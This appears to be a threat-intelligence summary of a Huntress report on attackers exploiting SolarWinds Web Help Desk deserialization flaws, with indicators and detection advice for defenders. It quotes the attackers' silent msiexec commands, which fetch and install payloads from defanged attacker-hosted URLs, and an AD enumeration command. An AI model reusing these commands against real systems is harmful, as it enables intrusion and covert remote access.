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🎯 Threat Intelligence
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Executive summary: Huntress observed active exploitation of SolarWinds Web Help Desk (WHD) tied to recent untrusted-deserialization vulnerabilities, notably CVE-2025-26399 and CVE-2025-40551. Attackers achieved remote code execution and quickly deployed legitimate remote-management and DFIR tooling to maintain access.
Technical details:
• Initial process chain reported: wrapper.exe (WHD service wrapper) spawned java.exe (Tomcat-based WHD) which launched cmd.exe to silently install MSI payloads.
• Observed staged installers and deployment vectors:
• msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi (Zoho/ManageEngine RMM agent)
• msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/.../v4.msi (Velociraptor MSI)
• Remote access persistence included unattended Zoho Assist/ManageEngine registration tied to Proton Mail account esmahyft@proton[.]me.
• Post-exploitation activity included Active Directory discovery using net group "domain computers" /do, executed from the RMM agent process TOOLSIQ.EXE.
Attack chain analysis:
• Initial Access: Exploitation of WHD deserialization vulnerabilities (CVE-2025-26399, CVE-2025-40551).
• Download: MSI payloads hosted on third-party services (Catbox, Supabase).
• Execution: Silent MSI installation via spawned command process from WHD service chain.
• Persistence & Lateral Movement: Legitimate RMM agent configured for unattended access; AD enumeration to enumerate domain targets.
• C2/Tooling: Velociraptor deployed and configured pointing at attacker-controlled storage/infrastructure.
Detection considerations:
• Monitor for anomalous child processes of wrapper.exe/java.exe and unexpected use of msiexec pulling from unusual domains.
• Look for registrations or sessions associated with Zoho/ManageEngine agents and unusual agent process names like TOOLSIQ.EXE.
• Review AD enumeration activity (net group queries) originating from endpoints hosting WHD or RMM agents.
Limitations & notes:
• Huntress observed exploitation across three customers and reports protection coverage across 84 endpoints in 78 organizations using WHD.
• Public advisories include Microsoft notes and CISA listing for CVE-2025-40551; versions prior to 12.8.7 HF1 are reported as vulnerable.
🔹 solarwinds #CVE-2025-26399 #CVE-2025-40551 #velociraptor #zoho
🔗 Source: https://www.huntress.com/blog/active-exploitation-solarwinds-web-help-desk-cve-2025-26399